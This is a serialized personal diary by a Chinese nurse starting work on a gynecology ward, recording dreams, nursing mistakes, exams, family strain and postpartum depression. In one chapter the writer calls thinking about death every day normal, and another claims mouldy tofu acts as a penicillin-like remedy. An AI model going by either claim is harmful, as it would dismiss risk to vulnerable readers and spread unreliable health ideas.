    今天下班发现了一个人，我的注意力在他的身上，我真的好讨厌这样子啊！看来我有病确实不知道怎么治。
    练了好几天的操作，要过几天考，因为我去发热门诊上班了，下班之后再考，没想到她们东西都收走了。只能以后去科室考了。
    我确实不喜欢考操作，但是我确实需要考操作，这是我需要学习的东西。
    过几天进妇科上班。她们认为我很幸运。而我不认为。
    不知道为什么总会想姑姑会不会很幸福。姑姑幸不幸福我为什么每天都要去想那么多呢？搞不懂哦！我认为她是幸福的，因为她房间可以收拾的很漂亮，很整洁。只有内心精神美好的人才能做到这一点，然后她教过我爱一个人爱一个家，知道把自己所有的东西整理好，就是很幸福的事了。可是很多事情都是需要花很多精力的，所以我认为她很幸福也累，没有一件事不累不需要行动不动脑子的，就算真的有不动脑子不劳而获的东西仍然会感觉到累。心累。都是一样的。
    前段时间梦到了嫂子，感觉她在说她需要生儿子，可是她是蓝色的，感觉这个东西让她很烦恼，为什么她会烦恼这一点呢？生儿子其实也好啊已经有了一个女儿。有一个儿子不是就变成一个好字了吗？不过不知道为什么感觉到了哥哥。他的爸爸妈妈的关系其实一般般，然后其实一直都是他这个儿子在中和他们之间的关系，所以每次感觉需要儿子时，总会感觉一个线路就是哥哥的灵魂在说我就是儿子，怎么还会有其他儿子。我不知道这个是什么。我感觉我想多了吧！
    其实有女儿崽也挺好的。不过算命先生说我命里有两个儿子，所以，命里有的东西就不要去躲，要勇敢的接受他们。

 第153章

    昨天下午家里吃了个饭。好多人。然后晚上又好闹得梦。
    梦里的那个灵魂很像家婆，她好大好黑，然后就说我不长记性。我也不知道她什么意思？意思是没有给她钱不长记性，还是她的意思是我调到了临床，我的工资比我老公高然后我老公会觉得心理不平衡，然后会和我吵架，导致她说我不长记性？反正我不知道她什么意思？
    然后下一个场景就是在厨房，剁了一个白色的灵魂，那个灵魂好像是我自己又像我宝宝。意思是我这个灵魂像麂子。然后梦里就看着像奇怪的鬼一样的灵魂在看着我，梦里的我也在看着我。在问梦里旁边那个鬼说她不是说我是麂子吗？然后她沉默不语。
    然后下一个梦，前两天的。梦里面是我的产后抑郁症其实没有好。然后好多奇怪的颜色的触角。像那种灰白色的触角在灵魂周围。然后梦里的我是一个很大的灵魂，它说我要得白癜风。我的产后抑郁症没有好。然后梦里的我在哭。然后就醒了。
    下一个梦。不知道是梦还是看见得。看见了老公的灵魂周围有灰色的东西。然后看到了他的内心想幽蓝色的心一样。不知道什么意思。感觉他可能有点悲伤？可是我不理解为什么他会很悲伤。可能想多了吧！
    然后下一个场景，场景里是一个带黑色纹路的灵魂，它好大，不知道在干嘛？
    中午的梦，梦里是不知道在讲什么？然后我看到了一个粪坑。
    我同事说了一些自己的私事。然后我发现保安也知道她的私事。而且是她对他讲的。我总感觉这样子不好。不知道为什么她会讲这个私事？搞不懂。
    我记录下来可不可以呢？就假设她是我假设里的人物吧！她嫁给了一个条件还好的人。彩礼26万。老公家说出了40万，借了好多钱。然后自己母亲回礼回了六万。而且给了一张银行卡给她。但是没有给密码。然后她想买车，和老公一起想要那六万块钱，然后母亲不想给密码给她。就是这个事。听了的意思好像是她妈妈不好。她家里也是四姐妹。她是老大。她给我的感觉，为人的话还可以。人很热情。做事能力强。她认为她妈妈不喜欢她，因为她小时候挨打，比较多。一直打到初中。不知道耶。别人的事不好评判。她现在怀孕了，而且在考编制。编制招一个人。考到了的话，不知道会调到哪里去，大部分都是偏远地区考不到的话，她又会很失落，因为她很希望考到来。对自己和家庭都很好。不知道怎么去讲。
    这样子的事，因为我也很多难受的时候。以前我因为妈妈的事，也很想讲出来。我的状态那个时候也很不好。非常不好。讲出来也解决不了什么问题，可是就是想要讲出来。所以我要去评判别人应该或者不应该吗？不用啊！然后别人怎么选择那是人家的事。只希望你问心无愧，没有遗憾就好了。得到自己内心的圆满。还有就是周围的人只能说都非常希望认识的那个人会4好起来吧！但是很多东西不知道怎么讲？
    不知道怎么样才能讲到人心里去，让别人从黑暗的痛苦里走出来。如果是我自己的话，就是吃药。吃中药，心火旺就吃消心火的，肝火旺就是吃消肝火的。我能怎么办呢？长辈耶！他们就算做的不好，我们小辈也不能评论，评论了就是我们小辈的错了。对吧！看着他们的做法，不爽可是没有办法！就像我们是父母那一辈期待中实现他们内心美好期盼的孩子。可是我们面对很多和老人家格格不入的地方。我们只能妥协。那能怎么办呢？我们是他们生下来的，我们又没有办法脱离他们生活，脱离了又有新问题，老年人如何善待的问题。所以很无解。
    作为一个脑洞大的神经兮兮的人，想法众多的人来说，天天都有奇奇怪怪的思想。
    看着很多看不惯的东西，看久了就习惯了呗！二十一天就能适应。适应不了就再适应。
    我昨天晚上看了人家写的单身狗的人生。这简直就是梦中情生啊！一个人努力的工作然后买了三套房，自己全款。有房有车，然后业余时间可以完成各种个样子的爱好。它说到老了之后会羡慕别人的家庭美满。我不知道我羡不羡慕。我只知道我经历了婚姻，然后如果给我一个重生的机会，我会主观选择保持单身。如果会出什么变故另外再算。因为婚姻真的没有想象中好。
    钱就那么多，一个人用的时候还有一点储蓄，然后结婚了钱还是一个固定的量，总量不变，需要支出的地方就越来越多。买菜的，还有孩子的。而且我们还没有买车买房。各种人情世故。结婚并没有给我们有很多的东西。但是这倒是让我理解了父母的不容易。学习的时候我们什么都不用想，然后可以毫无负担的学习，等到了社会以后，才知道这个世界有好多毒打的地方。不一定会出现良师益友，不一定会有很多很美好的事物在等着我们，也不一定会有很美好的事。还有各种各样的麻烦需要解决。想哭的时候就要等到天黑，妖孽只在夜里哭。天亮了就要学会笑眯眯的，因为没有面具角色，很难在这个社会活的好。因为自己内心知道没有人会给你兜底。父母也并不像自己想象中那么有安全感，然后在社会上也没有。无法安全的展示自己的喜怒哀乐。也无法很好的放松。事情其实不算难，但是如果心里有了迷茫，不管多简单的事都会把痛苦无限放大，特别的痛苦。
    所以还好吧！不知道我熬的到什么时候。自我很累的话，怎么子都会变得很奇怪。
    不过我每天都在想死，可是最近并没有感觉到自己的心灵的感觉，我感觉自己每天都在想死是一件正常的事。而不想死，不正常。
    很奇怪的想法。

 第154章

    最近的小说不好看，我好像看不到那种让人一看就懂得小说了。
    看了眼睛花的。心碎，年纪大了，啥都不好。
    我调到妇科了。妇科未婚同事说，在妇产科待了后怀疑人生，很难嫁出去。总是会看见很多不太美好的东西。不过我心里面是认为别人的事是别人在这个世界需要学会的东西，而自己的事是自己需要在这个世界学习的东西。不过我没有讲出来。第一天呢？后面几天又变得像一个闷葫芦一样我不知道我能不能在妇科待下去我感觉我在什么科都待不下去待了几天以后就会怀疑自己活着没信心。会感觉自己越来越差。而别人都很好，就自己不适合在这个世界活下去的那种感觉。
    真糟糕的心理状态。
    我昨晚念了一晚上的制度，我感觉我还是考不出，太难了太难背了，然后还有一个事就是临床的工作太难了，我都不知道自己能不能搞定。
    其实我想上临床班，因为上临床班可能是我来自灵魂深处的热爱。所以还是想要搞好来。
    今天就来了一个紧急情况，宫外孕的，需要做手术的。物业导医推的来的。然后跟着的老师就搞好了很多东西，而我才走过来，然后拿着评估单一个个问，我真的有问题。。。护士长说这样子的情况需要在医生没有下达医嘱前，做好三测，测血压之类的，然后准备好管道，还有抽好血来。还有其他的护士长讲的我忘记了。不知道为什么记不住。
    可能我又在心里记不住吧！为什么会这样子。搞不懂。可能我的老毛病又犯了吧！又开始自我pUA。不行的，你活着就是没意思的，你干不好的，然后无限循环。好不爽哦，为什么我那么糟糕？
    打针技术的话，还好在 nicu待了那么久其实还行。但是我总感觉我脑子不行。这也是我对我自己的自我否定。我不知道为什么才跟班两天我就会不停的自我怀疑。以前的nicu的老师说过，成为一个护士很难的。做好一个护士也很难的。意思就是在科室里需要好好学习，虚心请教，然后不要老是希望有各种各样的不好的事情发生，因为这年头不光病人活的不容易，医务人员也活的不容易。病人多，他们也累。而培养一个医务人员需要花很多的精力，而且还不一定培养的出来。我就是我们医院没有培养出来的。
    以前我是在乡下上班。乡下的班比县城更轻松。晚班基本就是打一点点点滴，然后我们就可以去休息。基本上没有什么太多的事。但是偶尔也会有产妇之类的。后来那个比较有名的医生走了以后，基本上没有很多的产妇。所以晚班过的很舒心。然后也没有各种操作之类的，病种简单，所以日子还好。风景很美，早上还能运动之类的。不过其实我在那里也过的不算很快乐。没有哪一个地方是真的待的很快乐的。因为每一个阶段有每一个阶段需要经历的事情。成长的事情。
    我认为我并不是一个很好的人。结婚以前是这样子，结婚以后也是这样子。我的内在可能比较有很多的负能量，而且是很坏的那种，但是我不会让我很坏的负能量跑出来，因为跑出来会显得我不好，可是我的好又不是那种很好的好，所以很烦恼。
    我不是一个很好的人否则我也不会爱看小黄文，我其实不太懂我为什么喜欢看，但是我看那个就很有精神，其他的没兴趣。然后我怀疑我肾虚，可是感觉又不像。然后就这样子了。
    好累啊我好想满血复活，像同事他们一样元气满满的上班，可是很难。陈医生还说很好上班，结果发现好多老师都在批评他说他做事一般般。年轻的医生在我们医院遭受了毒打。真的是不知道怎么讲。可能我们医院的环境就是这个样子的。大家都活的不容易啊！好希望自己能适应。因为适应下去，工资不高，因为好多扣回去的地方，考试之类的，护士长还订了一本书人手一本，大家都要去学去背的，所以扣钱的地方肯定很多。提升是有的，压力也是有的，想要没有压力的生活是不太可能的。靠山山会倒，靠树树会倒。只能靠自己。我需要支棱起来。看小说看的，有一个女人她靠自己的丈夫，结果丈夫离开了她，她一点都不在意然后靠自己的亲戚朋友。后来她就朋友也没有了。脑子不清醒是不好的，生活总是让人泪流满面，那是我们脑子里进的水溢出来了。
    没有什么文学性，活在这个世界里就是无情的看起来过的好，但是像坐牢一样，有情的看起来过的好，但是很容易生病。都一样惨不惹睹。这个世界有时我感觉像地狱一样。可是也不想吐槽，毕竟这个世界实现了我的心愿。我过着的人生是苦是甜都是我自己选择的。
    我比较乖巧，从小到大都是这个样子，长大以后，我并没有变得很不乖，我仍然很听话，然后工作也仍然很听话。一直很听话，然后久而久之就没有了生活的动力。我不听话感觉就会收到很多的惩罚。我不知道为什么我会有这样子的想法。自由这两个字其实是接受了很多的条条框框然后过的自在一点。我认为我过的不自由是因为我还没有从内心里接受这些条条框框吧！
    我认为是这样子的！

 第155章

梦境，梦里面说把什么东西给我。然后就梦到了一个房子，房子里有一个草莓头的精灵。不知道在搞什么？然后那个草莓精灵就倒地上了，然后就梦见一个女人，还有她的孩子，她旁边好像有一个女鬼，在抓她的孩子。然后她叫宝宝快跑。不要被鬼追上了。然后下一个场景就是进了一个人的家里面。家里面有好多小娃娃。好像是神像。我不认识的神明。然后看到了几个小娃娃神像记住一个理四。然后梦里醒来了，很疑惑不解。然后就在走一条路，路上一个女人她好开心的推我去了一条路。醒来暖洋洋的感觉。三点五十八醒的。
    后面又做了一个奇怪的梦，记不住的，五点多醒的，然后再睡，七点十一醒的

 第156章

    上晚班。因为我已经断奶了。然后科室缺人。我需要尽快的学习学会导出班来，然后大家都会变得更好过。
    我的内心变得有点子自卑？不知道怎么回事？因为我发现我说话很生硬。同事给我的反馈。在病房的时候就直接问什么床什么名字。应该要语气轻柔。然后说话要温柔。然后还有什么病种应该问什么？这个我好像一窍不通。带班老师讲了一遍，听不懂，讲两遍听不懂。玛德，我的内心感觉很迷茫。
    我有点不开心。我也不知道自己什么情绪。如果我再回导诊台。我会感觉好难过哦！想待在科室。好好上班。想导出班来。
    最近吃了同事好多果子，我还没有买。我有点子抠。而且时间久了会容易被嫌弃的，真的搞不懂为什么我总是吃人家的，不请回去。导致自己很容易被人讨厌。可是明明知道原因还是不改，为什么不改？
    婆婆其实对我很好，但是不知道为什么我老是会想很多不好的事，一遍一遍的重复，在脑子里过不去。尽管事情过去了很久，很久。搞不懂。
    有一个事很久了。很小的时候，可能是刚刚开始有了自己的意识，自己种上了一颗葡萄，然后那颗葡萄就长大了，绿色的，结了一串，后来有个邻居家的姐姐就把我的葡萄给剪了，然后她告诉我说她是不小心的，然后我就原谅了她。后面我去找她玩，听到她说我好傻，她就是故意把我的葡萄给摘了的。后来我也没有什么感觉，可是就是看她一家人都不爽。不爽了快三十年了。然后现在才想起来为什么会对她不爽那么久。以前都不知道什么原因。
    我为什么那么奇怪。我想起来有一段时间感觉很好笑，怎么会有我这样子的人？过了一段时间感觉自己挺悲哀的，才那么一件小事，让自己痛苦了那么久。不知道自己什么感觉。无法形容。
    晚班我感觉很多东西都好难啊！然后好多事情我都说不出来，说不好。全都是和人沟通的。我感觉好多需要进步。
    可是我能进步吗？
    为什么我一上班就变成社恐了，好奇怪啊！真希望人生按个快进健，人生刷的一下子就过完了，可以和世界拜拜。社恐啊社恐。和人沟通说话卡壳怎么办？好可怕d(?д??)。
    今天考完了试。一塌糊涂，三天的功夫去看那本书。没有抓到重点的学习。全在死记硬背。然后考试的时候就是记得住的记，记不住的靠猜。有的我感觉我猜的蛮准的，但是没有用到专业术语我也不知道有没有分。
    需要做好补考的准备吧！真的是不知道该说什么。无奈了。我念了那么久。没有念到重点。主要是字很多，然后一看到那么多字我就心烦。内心有一种抵触情绪，然后有了抵触情绪我也要逼着自己学下去。然后就一直背一直念。然后记住了一点点。
    还有一些题目没有刷我需要刷。我现在生了宝宝以后刷题就更懒了。以前我也懒，但是我有时间我就会刷题。结婚以后就变了，不爱刷题了然后一个人懒懒散散的，没有那种急促感。
    我不太喜欢这样子的自己，可是我好像也没有什么动力去做的更好一点。好奇怪的心理状态。
    结婚以前，学习工作，生活。我感觉我自己很难平衡好工作和生活。然后就很焦虑。然后现在仍然也没有平衡好工作和生活。就变得更奇怪了。
    心情不好。
    想要锻炼身体也不锻炼，想让自己开心起来的事是一个都不干，对自己不太好的事是做的很起劲。搞不懂。大概我真的不爱自己吧！
    如何才能更好呢？希望更好吧！

 第157章

    前天的梦境。梦见病房的病人对我说我是一个瘟神。然后我就醒了。没有太多的感觉。
    昨天的梦境。梦见了很多很明亮的人像神明一样他笑眯眯的。然后是一个街道。街道里好像在玩什么游戏。挺有趣的，不过我梦中醒来了。梦里的我不太想玩。
    然后下一个场景是一团黑色的人的影子他笑眯眯的，他像一个人，不过我不太懂为什么他的灵魂会出现在梦里。搞不懂。
    今天下午考试还有学习。然后晚上上晚班。她们都说妇科很好，但是等我到了这里，发现这里很难。很多护理上需要我注意和学习的地方。果然什么都不要别人说什么信什么。不过我确实很笨，我也承认我笨。所以好好努力吧！具体怎么样看天意。尽人事听天命。物竞天择。
    不能强求什么。命里无时莫强求命里有时终须有。对吧！
    昨天雪琴请的奶茶好好喝，百香果的。计划每个月花三百用于职场人情世故。努力啊！加油啊！争取我就定在这里了。妇科是所有科室里稍微简单一点的，如果过不好我就要在导诊台了。希望我能在妇科上好班。我希望我能长进，好好工作。加油吧！
    我想上n1。和我同一批的，他们都n2了，可我五年过去了还是n0。有几个都当上了护士长。所以说要好好加油，努力工作。努力生活。不过他们也确实很用心。下班了还会做很多事，工作的时候工作能力也确实是看得到的强大。所以加油吧！承认自己确实需要学习的地方很多。

 第158章

    上晚班。下午三点就开始去医院，因为有考试，科室里的。然后五点有业务学习。以后每周二的下午都业务学习。下午六点上班到第二天早上的八点。我还在跟班然后科室里的人员还是比较少一点，也没有办法。所以基本上临床都是这样子上班。
    讲完课，突然就来了一个大出血的。配合医生做事。发现自己很久没有配皮试了，皮试都忘记配制了。然后交班的同事打上去的留置针，我测的血压。还有拆包的时候医生说了要拆换+弯包，我拆了一个换药包。然后就是发现老师会提前准备好医生需要的物品。要打的药水。比如缩宫素之类的。有特殊情况我们需要协助医生宫颈肌内注射。在十二点或者三点的位置。老师说了方法。不过没有碰到这样子的病人我也不知道。等我们忙完的的话就晚上八九点了。我也不记得多少点忙完的。因为我们差不多十点多吃的泡面。
    点外卖的话，看了一下要二十来块钱，之前下楼拿药的时候，听到药房值班同事说一个晚班二十元。瞬间就让我厚着脸皮吃了陈医生一桶泡面。陈医生的柜子里本来买了一箱的泡面，现在就吃的只剩四五桶了。我下次也在橱子里备好泡面来。老师晚班带了一点点饭。下次我晚班也带饭。这里有微波炉。失算了。
    测血压每个小时，意味着这一晚上基本没得休息。不过相对于产科，nicu来说，这只是偶然事件，会比较少出现这样子的病人。所以也还好吧！特护单还是让我写的特别的心疼。因为错一个字就要重新写，然后我写了几张，又写了几张，都是同一个病历的内容。不过也学到了很多，至少知道怎么写这个东西。以前在nicu的时候一份抢救的病历就写了一晚上，还写不好。本来零点下班，写到第二天早上的八九点还写不好。就一份。往事不堪回首。不知道这里我会怎么样。真希望自己会做的好一点。因为当妈妈了，碰到什么事都要学会承担，成长。
    我需要买泡面，然后需要准备一本科室业务学习的本子。今天的学习还没有记到本子里，今年需要二甲复审，，那些笔记会检查。然后需要带泡面。明天需要洗工作服。今天学到了，打印机怎么上纸。然后快速计费。收费的东西都需要记住。因为多收了我们会被医保罚款病人的钱也不是大风刮来的，少收了的话耗材好大都是科室出，白干了。所以需要学会这些东西。
    今天学习的是异位妊娠。不懂得地方很多。像什么间质部妊娠。这个以前根本没有听过吧！可能听过但是不怎么注意。还有腹腔妊娠的。听课的时候好想问，那个宝宝能不能活过来的。那是不可能的。会钙化。还有输卵管妊娠。然后有的还有阴道流血，人家会以为是月经。还有什么下腹压痛，还有牵扯痛到肩部？反正这个我听不懂。然后还有什么hcG测定的意义。比如可以分析是流产还是异位妊娠？听得时候感觉自己明白了，现在这个时间点想起来又好像自己根本没有学会。
    这次科室里的考试我考了九十分。倒数第一名。以后需要再接再厉。妇产科的东西确实难。学医真的很难。护士难医生难。nicu的也难。好好学吧！医生建议我们科搞抢救应急演练。具体讲的什么我忘记了。大概是说万一有什么紧急情况的话，我们护士医生可以更好的配合吧！因为晚上的就一般只有一个医生一个护士值班。万一凌晨以后有紧急情况，我们能更快的做好准备。大概这个意思。
    因为我们科相对于其他科来说一般比较清闲。怕突然来一点什么情况不会。
    今天白天好像门诊有泛水。朋友圈知道这个事。很难想象新院会有泛水。因为老院我在的时候好像没有发生过，就只是应急预案里有这个东西，时不时护士长要考我们。要演练。没想到新院会有泛水。而且还是两楼。让我的心里面感觉这个世界有点子魔幻。我怀疑医院选择的地方都是负能量比较多的地方，然后新院的负能量会好厉害。搞得感觉我们一大堆的人都振不住这种负能量一样。我们的新院门诊下雨天花板会漏水。然后有的地方的空调老是会坏。然后好多奇奇怪怪的事，非常的不可思议。不过条件确实比老院更好了。不是非常的完美。不过这个世界很难有十全十美的事。只能尽自己的能力尽力做到十全九美就已经很不错了。
    和病人聊天。她好像很难过。我只能和她说就当上辈子欠了她老公的，这辈子就是嫁给他还债的。不知道有没有讲错。听说和人结婚是因为那个人把还是尸体的女人给埋了。所以这辈子结为夫妻。所以女士嫁人就是还这个人情债吧！哎呀还能怎么想呢？家家有本难念的经。你过你的日子苦，看别人好发现其他人也是这样子。

 第159章

夜班，老师说叫我休息一会儿，然后我就睡了一下子。梦里面梦到了一个黑色的沙发，沙发里有一个黑色的一团的女人影子抱着我的宝宝，放到沙发上，然后她给我吃了霉豆腐。然后她哈哈哈的笑着走了。
    也不知道这个梦境是什么意思。个人理解是豆腐长了青霉素，抗炎消毒的作用。意味着我会好起来了。

 第160章

今天晚班。练了一下八步金刚。还可以耶，我出了汗。经常练是不是意味着我能够瘦？
    不过我老是三天打鱼两天晒网。我也不知道我会怎么样？我已经对我自己不包任何指望了。但是想练。
    想做一次酱鸡蛋。正好明天家公家婆都不在家，可能老公也会和他们一起回老家，我就可以做一点点，尝一下。我不喜欢在他们在的时候做东西。因为那次饺子的事，告诉我，他们不喜欢。他们不喜欢儿媳妇比较优秀，他们喜欢自己比较优秀。只吃不干，我可能会变得很丧，但是我也只能让它了。
    我女儿我带不到了。今天家婆把女儿给我带，我发现她只闹着家婆，抱她也是这个样子，索性我也懒得了。毕竟我要上班。也没有时间。

 第161章

    晚班。
    今天上班的状态一般般。工作上翻病历比较多次，然后效率比较低，因为我没有看到重点，然后就一遍一遍的翻病历，导致时间浪费了很多。翻病历一开始应该看体温，中午病人有没有在需不需要晚班再次测体温，拿小本子记下来需要测体温的病人，然后看长期医嘱，还有临时医嘱，看有没有需要我们班做的事，比如明晨抽血之类的。然后就是检查入院评估单之类的，看一下有没有漏，如果是我们自己昨天入院的病人，评估没有做好，然后就写上去，然后就是做治疗。做完治疗以后就核对医嘱，有疑问的医嘱还是要问一下医生，一般也是用小纸条记住一下，因为有的时候医生在忙在做手术，之类的怕我们会忘记。等医生忙完了就再去问。然后每一班都要检查抢救车上的药品，然后仪器设备，要做好登记。晚班要登四本本子，今天我忘记了。下次要记得。然后老师反应我画体温的时间比较久，我需要调整一下自己的状态，因为实习生画体温都比我画的好和快。我的画以前在乡下卫生院画体温画的一塌糊涂，一晚上要画调一本体温单，到了县城就更是，画体温画的一塌糊涂，经常就是因为画体温托班，然后现在就搞得我神经兮兮非常紧张，希望画的好，所以画的时间好久，我同事她们画体温就好快，一两分钟就搞定了。所以我还是要找一下我的原因。
    今天的负能量很满耶！不知道怎么回事。晚上快睡了，突然梦见家婆对她儿子说她没有工作没有钱。然后突然我就心情不好了，然后感觉有一个黑乎乎的女人的样子就像她的。不知道为什么会这样子。她挺好的会帮我带娃，知道我晚班还做好了饭。然后我还是吃好了饭过来上晚班。感觉她对我挺好的。为什么我突然会有这种感觉？搞不懂。
    不是很开心。有这样子的事。梦里面她好像要把我弄死的感觉。然后好多黑色的一大片的东西。
    然后我就又想起了她在月子里对我老公哭的事，然后我就说反正我又不能改变什么，那就一辈子都不要和她聊天说话呗，反正我又不能原谅她，也没有办法原谅，讲了她，我老公又会讲是我的错，然后还要我道歉的。嫁人了说话就不自由。要有自知之明。所以不会讲话那就不要讲嘛，反正讲了我还得一个劲的道歉，多麻烦。我懒得。
    但是我的负能量确实很多。我认为这是什么原因呢？我也不知道什么原因？无法理解？而且这件事都过去好久了。今天宝宝不喜欢我了，就要奶奶。不过我也懒得，因为我妈妈和奶奶也是这样子的。我喜欢奶奶，因为奶奶把我养大，妈妈生了我。但是我无法理解我妈妈的心情不好的感受。对我心里只有奶奶没有妈妈的感受。那么我也可以去体会妈妈的感觉呀！这是我要学习的人生课程。好好的去体会自己生下来的孩子并不喜欢自己的感受。这是我对我的人生的理解。我不开心有这样子的过程，但是这是我对我妈妈造成过这样子的伤害。
    也许我理解错了吧！可是为什么我一直都是错误的呢？
    我在家里不是很开心。我也不理解为什么不开心？

 第162章

    今天入院四人手术三个。我感觉有点子忙。我还在跟班。然后同事说确实，不过这还不是最忙的，因为她们两个同事上班有一天接了是十一个新病人入院还有三台手术。我的娘也，难以想象那一天是怎么过来的。
    今天反思一下自己有哪些做的好的地方。第一我记住了新病人要心电监护和氧气，然后被子床单之类的我套的很快。病历之类的大部分补好了。然后有测血压的治疗之类我都做到了。不足的地方，就是接手术病人还需要更加灵活。我感觉我还需要更加麻利然后接了比较长时间，需要更灵活一点。要麻利，然后手术前交代病人要下掉金银首饰，还要不要穿内衣，解释可能不够到位，然后导致病人不配合，然后手术室的护士下我们科病房交接病人耽误了她好多时间。病人问了我为什么她要下首饰，我回答不出来，然后问我为什么做手术要不穿内衣我回答的不出来。她们两个都不是很配合。不过我也有做的好的地方，在于我这次叫她们买好了护理垫。成人的垫子。她们都买了。不过解释还是不够到位，因为病人问为什么他们要买护理垫，我说的话不够通顺。
    然后第二个不好的地方，她们做手术要打留置针，因为在手术期间发生的情况是有很多种的，留置针更好，方便手术中加药水，然后更节省时间，因为万一有紧急情况，抢救的时间也就半个小时，又要做好多事情，那个时候来打针的话就更不方便，硬针又更容易肿。。但是病人问我为什么她们手术要打留置针，我解释的不够到位。感觉我说话磕磕巴巴的。
    第三点，我今天抽血三管。然后病人实际是需要两管。与医生的沟通不到位，因为一般病人入院都是三管血。因为医生根据病人的情况，然后病人门诊检查了那个项目，他就没有开。然后我就没有再次问医生。导致我浪费了耗材，病人也多出了两毫升血。一根管子可能三四块钱，两毫升血，但是下次还是要多问一句。
    然后下一个事，医生开了两个血。我问了一个是明天抽血，另一个没有问，然后就都今天抽了。本来另一个是明天抽。这个医生是比较好的医生，他今天没有骂我，但是下次一定要记得。不然会被骂死。这个失误是我的。然后下一个打针。最近不知道怎么了。留置针好像有点子一般了，我以前打留置针很好耶，一般很小的小孩子，出生四五天我都打的到而且又不是一个两个打的到，而是好多哟都打的到，不知道为什么？病人的血管好粗。有两个病人了，血管比较粗，然后我没有打到。进针的角度问题。然后前几天打的留置针都很好，每一针都很不错。今天的话，崩皮方式不是我平时喜欢用的，然后病人她有一点点怀疑我的技术。然后我没有及时安抚她的情绪。第一个病人，她的血管很粗。然后她也是要手术，她可能心里面对手术室打留置针有点子疑虑，然后就一个劲的讲为什么要打留置针，然后又说那个针怎么那么粗，然后我没有及时安抚她的情绪。然后进针回血很好，退针芯的时候就不行了。然后就是打电话叫副护士长来打的。然后看她打针，她就是笑眯眯的态度很好的给病人做解释，然后就打好了。今天这个就是我进针也是回血很好。然后退针芯又不行了，然后直接打给护士长，护士长就挽回了这个针，病人就不用重新扎。这是角度的问题。然后第二个病人在同一个病房，上一个病人没有打好，她肯定不想让我打了，就护士长打。然后我推荐了一个好粗的血管，护士长打过去肿了。我选择的位置确实不是很好。然后护士长打自己想打的血管就很好。所以还是选血管的问题。
    我喜欢选择的那个位置在关节处，确实比较粗，然后但是比较容易滑动。下次打那个位置的时候，要想一下怎么更好崩皮。然后进针角度这几天有点子问题。比较低，前几天都不会那么低。
    这几天的心情确实不算好，但是每一个人的人生都很难，各有各的难处，但是大家都不会把生活中的情绪带到工作中。所以我也需要学会这样子。
    我确实比较讨厌我自己。不管身处在什么环境里都是这个样子。但是需要学会的东西很多。慢慢成长吧！主任希望我一个月到半个月左右出来自己导班，因为还要派人下乡。下乡需要几个月。所以需要导班出来，然后每个人才能协调出来。然后另一个上班好能干的同事快到预产期了。要生宝宝和休产假了。所以我需要顶的起。
    做事的话我感觉事情不是很难。但是比较繁琐。能够节约时间又能做好这个事的地方就在于，可以去那个病房那个病人同一个时间段的事情可以一并做好，即节省自己来回跑动的时间，也能减少打扰病人的次数。或者同一个病房的病人，同一个时间段，可以同时做好的事。就一并做了，然后就可以减少来回走动的时间，然后今天没有做好的事就在于走的次数有点子多。相差三分钟的事我要走两遍，然后我和同事没有交流，一个病人测血压两次，上午一次，下午一次。早上我同事做了一次，我做了一次。然后下午我做了一次，我同事做了一次。就等于病人其实是需要两次的。我们做了四次。我忘记和同事沟通了，也没有问她，导致我们花的时间比较多。因为今天做手术的好几个，然后手术后需要测血压观察的又有几个，然后花的时间就多了。
    最近感动的事。我上晚班同事给我买了夜宵，然后还给我们买了烧烤，然后下晚班的时候，她还给我带了早点。我本来想转钱给她，然后她不收，下次她上晚班我也带好吃的给她。好处就是感受到了同事满满的情谊。坏处就是小钱钱是花的越来越多。但是也确实需要花。只是我们科在整个医院来说是属于比较闲的科室，收入不算很高。还是需要学会来划算。
    还有一个事，有一天一个医生聊天说发现他们开的模板是其他科室的，但是我没有去深思什么原因，导致今天发现，好多病人的入院都在别的科，搞得本来没什么事，又要重新做。不过这是医生的事，但是如果上次我就记到了然后和护士长提一下的话，我们不就能少弄一堆的事。所以会搞死。我需要多思考一下。
    今天叫医生请了我们喝奶茶。因为他要重新弄的东西好多。可能花了他百来块钱。今天我尝试了一下选择其他款式的奶茶。我感觉还是百香果的好喝，其他的奶茶味道都不是我喜欢的。喝了我放了好多屁。我选择的百香果和同事换了一下。因为她怀孕了。吃另外一种奶茶有咖啡因，容易刺激宫缩。所以尝了另一种。百香果果然是最好喝的。
    今天下班，然后他们医生和接班的同事就在弄那个大出血的。他们可能今天晚上会像我们那天晚上一样晚上十点多吃晚饭吧！或者吃泡面。
    还有两个事，今天的病人做完手术要写特护单，我没有写，因为我忘记了，然后我同事写掉了。我一直在想我忘记了什么，然后忘记了写特护单。然后还有一个事。医生写好的医嘱我写错了字，然后要重新写，然后我下班忘记写了。需要补。本来应该补好再下班的。
    我感觉我的内心很多的负能量。但是很多很正常。没有一个人没有负能量。我的脑子和思维确实需要升级。我想问题还有做事情确实是单线程的。比如一个事。我要上厕所，然后我需要用杯子装开水。开水间在厕所附近。然后我打好了开水，去上厕所，然后从厕所出来，就忘记拿杯子回来了。要么就是忘记了打开水。等我上好了厕所。突然之间就想起自己渴了需要打开水。然后要多走一遍。在做事之前好像需要动脑子想一想。但是我好像很多时候都是只能单线程做事，不能多线路做事。我应该怎么样才能多线路同事做事，还做的好呢？这是我需要调整的问题。笨的话，我好像也不算笨，毕竟我都能思考到这个问题了，就说明自己有了自知之明，能够意识到问题，已经很不错了。那么就是习惯的问题。工作习惯，导致我单线路做事情。怎么样才能改变我的习惯？
    最近学到了一些东西。八步金刚，练了好像很舒服。不过今天没有练，因为起床七点钟，我需要在五六点起床。今天没有起床的原因是因为我昨天晚上看小说看到了零点。看小说的原因是喜欢看。然后这几天洗头我都没有吹干，我感觉不吹干头发睡觉对头不好，但是我好像知道这样子不好，也不阻止自己的行为，而且不想改变，不知道为什么？

 第163章

梦境梦里面我睡了一个女病人，然后她的病好了。她大概四五十岁的样子。真够离谱的。更离谱的是她在我梦里是十来岁的男孩子，然后梦里的梦里她是在病床上躺着，她是个四五十岁的女人。然后再进去一个梦，梦里面好像是街道碰到了一男人，然后轻轻动了我一下。然后梦里醒来了，然后下一个梦就是一个奇怪的蓝色冰箱。然后有一个格子里放着一个女人的头，另外的盒子里放着她的身体，梦里的我好像并不觉得很奇怪，甚至还认为自己有了美味的大餐吃了。和格子里的头又是我自己的。盒子里的肉，分了好多块的，也是我自己的。梦里的自己就像一个黑色的鬼一样好兴奋的笑。然后睡不着了，梦醒。

 第164章

    今天晚班。然后白天练了一次八步金刚功。没有那种感觉了，之前练了的那个视频找不到了。照着那个视频练就好有感觉，其他的好像没有感觉，也有可能是因为我练了几天子没有了那种新鲜劲，所以就开始练得没有动力了。我猜就是这样子，我有多懒式。我还是有数的。
